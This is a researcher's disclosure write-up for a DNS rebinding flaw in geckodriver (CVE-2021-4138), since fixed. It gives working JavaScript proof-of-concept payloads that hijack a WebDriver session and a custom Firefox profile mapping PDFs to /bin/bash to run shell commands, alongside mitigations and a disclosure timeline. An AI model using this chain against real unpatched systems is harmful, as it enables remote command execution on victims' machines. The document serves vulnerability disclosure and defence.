DNS rebinding vulnerability to RCE in geckodriver

A DNS rebinding vulnerability I found in geckodriver which could be used to execute arbitrary shell commands. This is bug #1652612 and CVE-2021-4138.

geckodriver is vulnerable to DNS rebinding attacks. In contrast to the CSRF vulnerability previously reported, when using this vulnerability, an attacker can see the responses of the attacked geckodriver instance and can thus interact with the created session. This could be used:

  • to attack local services (localhost-bound or on the local network);
  • to attack remote services using the IP address of the victim;
  • reading local files (by navigating to file://);
  • running other programs by navigating to URIs with other schemes;
  • remote code execution (see below).

This vulnerability has been tested on:

  • Mozilla Firefox Nightly 80.0a1 (2020-07-13)
  • geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
  • Debian testing

This has been fixed on geckodriver v0.30.0.

Reproduction steps

The following JavaScript payload served from a HTTP web server using the same port number as GeckoDriver (eg. TCP 4444) may be used to trigger the vulnerability:

function sleep(delay) {
  return new Promise((resolve, reject) => {setInterval(resolve, delay);});
}
async function createSession() {
  while (true) {
    const response = await fetch("/session", {
        method: "POST",
        mode: "same-origin",
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          "capabilities": {
            "alwaysMatch": {
            }
          }
        })
    });
    if (response.status >= 200 && response.status < 300)
      return response.json();
    await sleep(1000);
  }
}
async function main() {
  const creation = await createSession();
  const sessionId = creation.value.sessionId;
  const sessionPath = "/session/" + sessionId;
  fetch(sessionPath + "/url", {
    method: "POST",
    mode: "same-origin",
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      "url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"
    })
  });
}
main()

The browser user must access this web server using a DNS rebinding domain name. For example using whonow:

http://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:4444/

This should create a new GeckoDriver session and open a given URI.

Getting remote code execution

In a previous post I showed how it was possible to execute arbitrary code through the moz:firefoxOptions option. This has been mitigated in recent versions of GeckoDriver by trying to check that the binary is actually a Firefox binary. However, in contrast to the CSRF vulnerability, we can now obtain the response resulting from the session creation: using the session ID we can now control the spawned Firefox instance. We can use this to find new ways to execute arbitrary shell commands.

We can use the profile parameter to define a custom Firefox profile:

async function createSession() {
  const profileResponse = await fetch("/profile.b64")
  const profile = await profileResponse.text();
  while (true) {
  try {
    const response = await fetch("/session", {
        method: "POST",
        mode: "same-origin",
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          "capabilities": {
            "alwaysMatch": {
                "moz:firefoxOptions": {
                  "profile": profile,
                }
            }
          }
        })
    });
    if (response.status >= 200 && response.status < 300)
      return response.json();

  }
  catch(e) {

  }
  await sleep(1000);
  }
}

This parameter can contain a base-64 Zip arcihve containing a custom Firefox profile.

The attacker can use a custom handlers.json file in the custom profile in order to associate PDF files with /bin/bash:

{
  "defaultHandlersVersion":{"fr":3},
  "mimeTypes":{
    "application/pdf":{
      "action":2,
      "extensions":["pdf"],
      "handlers":[
        {"name":"bash","path":"/bin/bash"}
      ]
    }
  },
  "schemes":{}
}

The "actions":2 is used to always open the file without user interaction.

The PDF we are going to serve is actually a bash script:

#!/bin/sh
xterm -e nyancat

The attacker can redirect the spawned Firefox instance under their control to this shell script (served as a PDF) using a WebDriver request:

async function main() {
  const creation = await createSession();
  const sessionId = creation.value.sessionId;
  const sessionPath = "/session/" + sessionId;
  fetch(sessionPath + "/url", {
    method: "POST",
    mode: "same-origin",
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      "url": "http://127.0.0.99:4444/script.pdf"
    }),
  });
}

Firefox will use /bin/bash to open this file. Using this construct the attacker can execute an arbitrary system command as the user.

Mitigations

Checking the Host header

geckodriver is vulnerable to DNS rebinding attacks because it is accepting requests using arbitrary Host header (eg. Host: a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:4444). By checking the value of the Host header and enforcing values such as localhost:444, we can prevent DNS rebinding attacks.

HTTP-level Authentication

As previously discussed, adding (opt-in) HTTP-level authentication would prevent a wide range of attacks (including attacks from local users) if this feature were to be supported by WebDriver clients.

PF_LOCAL Socket

As previously discussed, adding an options for using PF_LOCAL socket would prevent a wide range of attacks if this feature were to be supported by WebDriver clients.

Timeline

  • 2020-07-14, Reported to Mozilla
  • 2020-07-16, Confirmed by Mozilla
  • 2021-02-09, Bounty awarded ($500)
  • 2021-09-16, Fixed in GeckoDriver v0.30.0
  • 2021-12-20, Disclosed